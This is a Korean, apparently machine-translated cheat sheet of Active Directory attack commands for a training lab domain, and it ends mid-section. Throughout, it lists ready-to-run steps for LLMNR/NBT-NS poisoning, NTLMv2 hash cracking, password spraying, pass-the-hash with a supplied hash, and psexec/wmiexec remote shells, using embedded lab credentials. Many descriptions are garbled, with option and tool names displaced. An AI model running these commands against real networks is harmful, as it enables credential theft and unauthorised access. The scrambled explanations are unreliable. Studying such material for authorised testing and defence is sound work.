Cheat seat

초기 μ—΄κ±°

λͺ…λ Ή

μ„€λͺ…

nslookup ns1.inlanefreight.com

도메인 이름 μ‹œμŠ€ν…œμ„ μΏΌλ¦¬ν•˜κ³  Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μž…λ ₯된 λŒ€μƒμ˜ 도메인 이름 맀핑에 λŒ€ν•œ IP μ£Όμ†Œλ₯Ό κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

sudo tcpdump -i ens224

-iLinux 기반 호슀트 μ˜΅μ…˜μ„ μ§„ν–‰ν•˜λŠ” λ„€νŠΈμ›Œν¬ μΈν„°νŽ˜μ΄μŠ€μ—μ„œ λ„€νŠΈμ›Œν¬ νŒ¨ν‚· 캑처λ₯Ό μ‹œμž‘ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

sudo responder -I ens224 -A

λ₯Ό μ‚¬μš©ν•˜μ—¬ ν™œμ„±ν™”λœ λͺ¨λ“œ μ—μ„œ μ˜΅μ…˜μ„ μ§„ν–‰ν•˜κ³  μž‘λ™ν•˜λ„λ‘ μ§€μ •λœ μΈν„°νŽ˜μ΄μŠ€μ— λŒ€ν•œ 응닡 및 뢄석, 쿼리λ₯Ό μ‹œμž‘ LLMNRν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ . Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ¨NBT-NSMDNS -IPassive Analysis-A

fping -asgq 172.16.5.0/23

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ§€μ •λœ λ„€νŠΈμ›Œν¬ μ„Έκ·Έλ¨ΌνŠΈμ— λŒ€ν•΄ ping μŠ€μœ•μ„ μˆ˜ν–‰ν•©λ‹ˆλ‹€.

sudo nmap -v -A -iL hosts.txt -oN /home/User/Documents/host-enum

μ§„ν–‰ 쀑인 νŒŒμΌμ— μ§€μ •λœ -A호슀트 λͺ©λ‘( )을 기반으둜 OS 감지, 버전 감지, 슀크립트 μŠ€μΊλ‹ 및 Tracerouteκ°€ ν™œμ„±ν™”λœ( ) nmap μŠ€μΊ”μ„ μˆ˜ν–‰ν•©λ‹ˆλ‹€ . 그런 λ‹€μŒ μ˜΅μ…˜ 뒀에 μ§€μ •λœ νŒŒμΌμ— 검사 κ²°κ³Όλ₯Ό 좜λ ₯ν•©λ‹ˆλ‹€ . Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ¨hosts.txt-iL-oN

sudo git clone https://github.com/ropnop/kerbrute.git

gitLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ kerbrute 도ꡬλ₯Ό λ³΅μ œν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

make help

makeLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ κ°€λŠ₯ν•œ 컴파일 μ˜΅μ…˜μ„ λ‚˜μ—΄ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

sudo make all

Kerbruteμ—¬λŸ¬ OS ν”Œλž«νΌ 및 CPU μ•„ν‚€ν…μ²˜μ— λŒ€ν•œ λ°”μ΄λ„ˆλ¦¬λ₯Ό μ»΄νŒŒμΌν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

./kerbrute_linux_amd64

KebruteLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ„ νƒν•œ 컴파일된 λ°”μ΄λ„ˆλ¦¬λ₯Ό ν…ŒμŠ€νŠΈν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute

Kerbruteλ°”μ΄λ„ˆλ¦¬λ₯Ό λ””λ ‰ν„°λ¦¬λ‘œ μ΄λ™ν•˜λŠ” 데 μ‚¬μš©λ˜λ©° Linux μ‚¬μš©μžμ˜ κ²½λ‘œμ— μžˆλ„λ‘ μ„€μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 도ꡬ μ‚¬μš©μ„ λ”μš± μ‰½κ²Œ λ§Œλ“­λ‹ˆλ‹€.

./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results

INLANEFREIGHT.LOCALKerbrute 도ꡬλ₯Ό μ‹€ν–‰ν•˜μ—¬ μ§€μ •λœ 도메인( )μ—μ„œ -dμ˜΅μ…˜μ„ μ§„ν–‰ν•˜κ³  μ—°κ²°λœ 도메인 μ»¨νŠΈλ‘€λŸ¬μ—μ„œ --dc단어 λͺ©λ‘μ„ μ‚¬μš©ν•˜μ—¬ μ§€μ •λœ μ‚¬μš©μž 이름을 κ²€μƒ‰ν•˜κ³  -oκ²°κ³Όλ₯Ό μ§€μ •λœ 파일둜 좜λ ₯ν•©λ‹ˆλ‹€( ). Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

LLMNR/NTB-NS 쀑독

λͺ…λ Ή

μ„€λͺ…

responder -h

ResponderLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ‚¬μš©ν•  수 μžˆλŠ” μ‚¬μš© μ§€μΉ¨κ³Ό λ‹€μ–‘ν•œ μ˜΅μ…˜μ„ ν‘œμ‹œν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt

μ‘λ‹΅μžκ°€ μΊ‘μ²˜ν•˜μ—¬ 파일( )에 μ €μž₯된 ν•΄μ‹œλ₯Ό hashcatν¬λž™ NTLMv2( )ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ . ν¬λž˜ν‚Ήμ€ μ§€μ •λœ 단어 λͺ©λ‘μ„ 기반으둜 μˆ˜ν–‰λ©λ‹ˆλ‹€.-mfrond_ntlmv2

Import-Module .\Inveigh.ps1

PowerShell cmd-let을 μ‚¬μš©ν•˜μ—¬ Import-ModuleWindows 기반 도ꡬλ₯Ό κ°€μ Έμ˜΅λ‹ˆλ‹€ Inveigh.ps1.

(Get-Command Invoke-Inveigh).Parameters

μ—μ„œ μ‚¬μš©ν•  수 μžˆλŠ” λ‹€μ–‘ν•œ μ˜΅μ…˜ 및 κΈ°λŠ₯을 좜λ ₯ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ Invoke-Inveigh. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

LLMNR 및 NBNS μŠ€ν‘Έν•‘μ΄ ν™œμ„±ν™”λœ Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ‹œμž‘ Inveighν•˜κ³  κ²°κ³Όλ₯Ό 파일둜 좜λ ₯ν•©λ‹ˆλ‹€.

.\Inveigh.exe

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ C#κ΅¬ν˜„μ„ μ‹œμž‘ν•©λ‹ˆλ‹€ .Inveigh

esc -> GET NTLMV2UNIQUE. μž…λ ₯

NTLMv2 ν•΄μ‹œ νšλ“ (Inveighμ—μ„œ)

$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces" Get-ChildItem $regkey |foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}

Windows ν˜ΈμŠ€νŠΈμ—μ„œ NBT-NSλ₯Ό λΉ„ν™œμ„±ν™”ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€.

λΉ„λ°€λ²ˆν˜Έ μŠ€ν”„λ ˆμ΄ 및 λΉ„λ°€λ²ˆν˜Έ μ •μ±…

λͺ…λ Ή

μ„€λͺ…

#!/bin/bash for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}} do echo $x; done

16,079,616Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ κ°€λŠ₯ν•œ μ‚¬μš©μž 이름 쑰합을 μƒμ„±ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Bash μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€ .

crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ•”ν˜Έ μ •μ±…( )을 μ—΄κ±°ν•˜κΈ° μœ„ν•΄ CrackMapExecμœ νš¨ν•œ 자격 증λͺ…( )을 μ‚¬μš©ν•©λ‹ˆλ‹€ .avazquez:Password123--pass-pol

rpcclient -U "" -N 172.16.5.5

rpcclientμ„Έμ…˜μ„ 톡해 도메인에 λŒ€ν•œ 정보λ₯Ό κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ SMB NULL. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

rpcclient $> querydominfo

rpcclientLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ λΉ„λ°€λ²ˆν˜Έ 정책을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

enum4linux -P 172.16.5.5

Linux 기반 호슀트의 λŒ€μƒ Windows λ„λ©”μΈμ—μ„œ enum4linuxλΉ„λ°€λ²ˆν˜Έ μ •μ±…( )을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .-P

enum4linux-ng -P 172.16.5.5 -oA ilfreight

enum4linux-ngLinux 기반 호슀트의 λŒ€μƒ Windows λ„λ©”μΈμ—μ„œ λΉ„λ°€λ²ˆν˜Έ μ •μ±…( )을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ˜λ©° -P, μ˜΅μ…˜μ„ μ§„ν–‰ν•˜λŠ” νŒŒμΌμ— μ €μž₯된 YAML 및 JSON으둜 좜λ ₯을 ν‘œμ‹œν•©λ‹ˆλ‹€ -oA.

ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

ldapsearchLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ λΉ„λ°€λ²ˆν˜Έ 정책을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

net accounts

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ Windows λ„λ©”μΈμ˜ μ•”ν˜Έ 정책을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

Import-Module cmd-let을 μ‚¬μš©ν•˜μ—¬ PowerView.ps1Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 도ꡬλ₯Ό κ°€μ Έμ˜΅λ‹ˆλ‹€.

Get-DomainPolicy

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ λΉ„λ°€λ²ˆν˜Έ 정책을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

enum4linuxλŒ€μƒ Windows λ„λ©”μΈμ—μ„œ μ‚¬μš©μž 계정을 κ²€μƒ‰ν•œ λ‹€μŒ grep좜λ ₯을 ν•„ν„°λ§ν•˜μ—¬ Linux 기반 호슀트의 μ‚¬μš©μžλ₯Ό ν‘œμ‹œν•˜λŠ” 데 μ‚¬μš©ν•©λ‹ˆλ‹€ .

rpcclient -U "" -N 172.16.5.5 rpcclient $> enumdomuser

rpcclientλ₯Ό μ‚¬μš©ν•˜μ—¬ Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ μ‚¬μš©μž 계정을 κ²€μƒ‰ν•©λ‹ˆλ‹€.

crackmapexec smb 172.16.5.5 --users

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ CrackMapExecμ‚¬μš©μž( )λ₯Ό κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .--users

ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "

λŒ€μƒ Windows λ„λ©”μΈμ—μ„œ μ‚¬μš©μžλ₯Ό κ²€μƒ‰ν•œ λ‹€μŒ Linux 기반 호슀트의 결과만 ν‘œμ‹œν•˜κΈ° μœ„ν•΄ ldapsearch좜λ ₯을 ν•„ν„°λ§ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .grepsAMAccountName

./windapsearch.py --dc-ip 172.16.5.5 -u "" -U

Python 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ windapsearch.pyLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows λ„λ©”μΈμ˜ μ‚¬μš©μžλ₯Ό κ²€μƒ‰ν•©λ‹ˆλ‹€.

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

Linux 기반 호슀트의 rpcclientμ‚¬μš©μž λͺ©λ‘( ) 을 μ‚¬μš©ν•˜μ—¬ λΉ„λ°€λ²ˆν˜Έ μŠ€ν”„λ ˆμ΄ 곡격을 μˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Bash ν•œ μ€„μž…λ‹ˆλ‹€ . valid_users.txtλ˜ν•œ 좜λ ₯을 더 κΉ”λ”ν•˜κ²Œ λ§Œλ“€κΈ° μœ„ν•΄ μ‹€νŒ¨ν•œ μ‹œλ„λ₯Ό ν•„ν„°λ§ν•©λ‹ˆλ‹€.

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1

kerbrute및 μ‚¬μš©μž λͺ©λ‘( )을 μ‚¬μš©ν•˜μ—¬ valid_users.txtLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows 도메인에 λŒ€ν•΄ λΉ„λ°€λ²ˆν˜Έ μŠ€ν”„λ ˆμ΄ 곡격을 μˆ˜ν–‰ν•©λ‹ˆλ‹€.

sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

CrackMapExec및 μ‚¬μš©μž λͺ©λ‘( )을 μ‚¬μš©ν•˜μ—¬ valid_users.txtLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ λŒ€μƒ Windows 도메인에 λŒ€ν•΄ λΉ„λ°€λ²ˆν˜Έ μŠ€ν”„λ ˆμ΄ 곡격을 μˆ˜ν–‰ν•©λ‹ˆλ‹€. λ˜ν•œ λ₯Ό μ‚¬μš©ν•˜μ—¬ 둜그온 μ‹€νŒ¨λ₯Ό ν•„ν„°λ§ν•©λ‹ˆλ‹€ grep.

sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123

CrackMapExecLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 자격 증λͺ… μ§‘ν•©μ˜ μœ νš¨μ„±μ„ κ²€μ‚¬ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

sudo crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ ν•œ 번의 둜그인 μ‹œλ„λ§Œ μˆ˜ν–‰λ˜λ„λ‘ ν•˜λ €λ©΄ CrackMapExec및 - ν”Œλž˜κ·Έλ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€ . -local-authμ΄λŠ” μ‹œν–‰λœ λΉ„λ°€λ²ˆν˜Έ μ •μ±…μœΌλ‘œ 인해 계정이 μž κΈ°μ§€ μ•Šλ„λ‘ ν•˜κΈ° μœ„ν•œ κ²ƒμž…λ‹ˆλ‹€. λ˜ν•œ λ₯Ό μ‚¬μš©ν•˜μ—¬ 둜그온 μ‹€νŒ¨λ₯Ό ν•„ν„°λ§ν•©λ‹ˆλ‹€ grep.

Import-Module .\DomainPasswordSpray.ps1

DomainPasswordSpray.ps1Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ PowerShell 기반 도ꡬλ₯Ό κ°€μ Έμ˜€λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ .

Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

νŒ¨μŠ€μ›Œλ“œ μŠ€ν”„λ ˆμ΄ 곡격을 μˆ˜ν–‰ν•˜κ³  κ·Έ κ²°κ³Όλ₯Ό spray_successWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ§€μ •λœ 파일( )둜 좜λ ₯(-OutFile)ν•©λ‹ˆλ‹€.

λ³΄μ•ˆ μ œμ–΄ μ—΄κ±°

λͺ…λ Ή

μ„€λͺ…

Get-MpComputerStatus

Windows Defender Anti-VirusWindows 기반 호슀트 의 μƒνƒœλ₯Ό ν™•μΈν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€ .

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

AppLockerWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ 정책을 λ³΄λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€ .

$ExecutionContext.SessionState.LanguageMode

PowerShell Language ModeWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ‚¬μš©λ˜λŠ” 것을 κ²€μƒ‰ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€ . Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Find-LAPSDelegatedGroups

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ LAPSToolkitκ²€μƒ‰ν•˜λŠ” κΈ°λŠ₯μž…λ‹ˆλ‹€ .LAPS Delegated Groups

Find-AdmPwdExtendedRights

LAPSTookit읽기 κΆŒν•œμ΄ μžˆλŠ” κ·Έλ£Ήκ³Ό μ‚¬μš©μžμ— λŒ€ν•΄ LAPSκ°€ ν™œμ„±ν™”λœ 각 μ»΄ν“¨ν„°μ—μ„œ κΆŒν•œμ„ ν™•μΈν•˜λŠ” κΈ°λŠ₯ μž…λ‹ˆλ‹€ All Extended Rights. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-LAPSComputers

LAPSToolkitLAPSκ°€ ν™œμ„±ν™”λœ 컴퓨터λ₯Ό κ²€μƒ‰ν•˜κ³ , λΉ„λ°€λ²ˆν˜Έ 만료λ₯Ό κ²€μƒ‰ν•˜κ³ , λ¬΄μž‘μœ„ λΉ„λ°€λ²ˆν˜Έλ₯Ό 검색할 수 μžˆλŠ” κΈ°λŠ₯μž…λ‹ˆλ‹€ . Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

자격 증λͺ… μ—΄κ±°

λͺ…λ Ή

μ„€λͺ…

xfreerdp /u:forend@inlanefreight.local /p:Klmcargo2 /v:172.16.5.25

μœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ Windows λŒ€μƒμ— μ—°κ²°ν•©λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users

μœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ Windows λŒ€μƒμœΌλ‘œ 인증 ν•˜κ³  λŒ€μƒ Windows λ„λ©”μΈμ—μ„œ smb더 λ§Žμ€ μ‚¬μš©μž( )λ₯Ό κ²€μƒ‰ν•˜λ €κ³  μ‹œλ„ν•©λ‹ˆλ‹€ . --usersLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups

μœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ Windows λŒ€μƒμœΌλ‘œ 인증 ν•˜κ³  λŒ€μƒ Windows λ„λ©”μΈμ—μ„œ smbκ·Έλ£Ή( ) 검색을 μ‹œλ„ν•©λ‹ˆλ‹€ . --groupsLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

sudo crackmapexec smb 172.16.5.125 -u forend -p Klmcargo2 --loggedon-users

μœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ Windows λŒ€μƒμœΌλ‘œ μΈμ¦ν•˜κ³  λŒ€μƒ Windows ν˜ΈμŠ€νŠΈμ— smbλ‘œκ·Έμ˜¨ν•œ μ‚¬μš©μž( ) λͺ©λ‘μ„ ν™•μΈν•˜λ €κ³  μ‹œλ„ν•©λ‹ˆλ‹€ . --loggedon-usersLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares

μœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ Windows λŒ€μƒμœΌλ‘œ 인증 smbν•˜κ³  SMB 곡유 검색을 μ‹œλ„ν•©λ‹ˆλ‹€( --shares). Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share Dev-share

μœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ Windows λŒ€μƒμœΌλ‘œ μΈμ¦ν•˜κ³  smbCrackMapExec λͺ¨λ“ˆ( -M) 을 ν™œμš©ν•˜μ—¬ spider_plus읽기 κ°€λŠ₯ν•œ 각 곡유( )λ₯Ό μ‚΄νŽ΄λ³΄κ³  Dev-share읽을 수 μžˆλŠ” λͺ¨λ“  νŒŒμΌμ„ λ‚˜μ—΄ν•©λ‹ˆλ‹€. κ²°κ³ΌλŠ” 에 좜λ ₯λ©λ‹ˆλ‹€ JSON. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5

μœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ λŒ€μƒ Windows 도메인을 μ—΄κ±°ν•˜κ³  μ‚¬μš©λœ μœ νš¨ν•œ 자격 증λͺ… 및 λŒ€μƒ Windows 호슀트의 μ»¨ν…μŠ€νŠΈ λ‚΄μ—μ„œ 각각에 μ‚¬μš© κ°€λŠ₯ν•œ 곡유 및 κΆŒν•œμ„ λ‚˜μ—΄ν•©λ‹ˆλ‹€( -H). Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only

μœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ λŒ€μƒ Windows 도메인을 μ—΄κ±°ν•˜κ³  -Rμ§€μ •λœ 곡유( )의 μž¬κ·€ λͺ©λ‘( ) 을 μˆ˜ν–‰ν•˜λ©° 곡유의 SYSVOL디렉터리 λͺ©λ‘( )만 좜λ ₯ν•©λ‹ˆλ‹€ . --dir-onlyLinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

rpcclient $> queryuser 0x457

μƒλŒ€ μ‹λ³„μž( )λ₯Ό μ‚¬μš©ν•˜μ—¬ Windows λ„λ©”μΈμ˜ λŒ€μƒ μ‚¬μš©μž 계정을 μ—΄κ±°ν•©λ‹ˆλ‹€ 0x457. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

rpcclient $> enumdomusers

λŒ€μƒ Windows λ„λ©”μΈμ˜ μ‚¬μš©μž 계정 및 κ΄€λ ¨ μƒλŒ€ μ‹λ³„μž( rid)λ₯Ό κ²€μƒ‰ν•©λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125

μœ νš¨ν•œ 자격 증λͺ…이 μžˆλŠ” 관리 곡유λ₯Ό CLI톡해 Windows λŒ€μƒ 에 μ—°κ²°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ . ADMIN$Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5

μœ νš¨ν•œ 자격 증λͺ…을 CLI톡해 Windows λŒ€μƒ 에 μ—°κ²°ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” Impacket λ„κ΅¬μž…λ‹ˆλ‹€ . WMILinux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

windapsearch.py -h

windapsearch.py의 μ˜΅μ…˜κ³Ό κΈ°λŠ₯을 ν‘œμ‹œν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p transporter@4 --da

--daλŒ€μƒ Windows λ„λ©”μΈμ—μ„œ μœ νš¨ν•œ 자격 증λͺ… μ„ΈνŠΈλ₯Ό μ‚¬μš©ν•˜μ—¬ 도메인 κ΄€λ¦¬μž κ·Έλ£Ή( )을 μ—΄κ±°ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ . Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p transporter@4 -PU

-PUμœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ μ€‘μ²©λœ κΆŒν•œμ΄ μžˆλŠ” μ‚¬μš©μžμ— λŒ€ν•΄ μž¬κ·€ 검색( )을 μˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ . Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all

μœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ BloodHound( )의 Python κ΅¬ν˜„μ„ μ‹€ν–‰ bloodhound.pyν•˜κ³  이름 μ„œλ²„( -ns) 및 λŒ€μƒ Windows 도메인( inlanefreight.local)을 μ§€μ •ν•˜κ³  λͺ¨λ“  검사( -c all)λ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€. μœ νš¨ν•œ 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ μ‹€ν–‰λ©λ‹ˆλ‹€. Linux 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

λ•…μ—μ„œ μƒν™œν•˜μ—¬ μ—΄κ±°

λͺ…λ Ή

μ„€λͺ…

Get-Module

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μ‚¬μš© κ°€λŠ₯ν•œ λͺ¨λ“  λͺ¨λ“ˆ, ν•΄λ‹Ή 버전 및 λͺ…λ Ή μ˜΅μ…˜μ„ λ‚˜μ—΄ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€.

Import-Module ActiveDirectory

Active DirectoryWindows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ PowerShell λͺ¨λ“ˆμ„ λ‘œλ“œν•©λ‹ˆλ‹€ .

Get-ADDomain

Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ Windows 도메인 정보λ₯Ό μˆ˜μ§‘ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” PowerShell cmd-letμž…λ‹ˆλ‹€.

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

λŒ€μƒ Windows λ„λ©”μΈμ˜ μ‚¬μš©μž 계정을 μ—΄κ±°ν•˜κ³  ServicePrincipalName. Windows 기반 ν˜ΈμŠ€νŠΈμ—μ„œ μˆ˜ν–‰λ©λ‹ˆλ‹€.

Get-ADTrust -Filter *

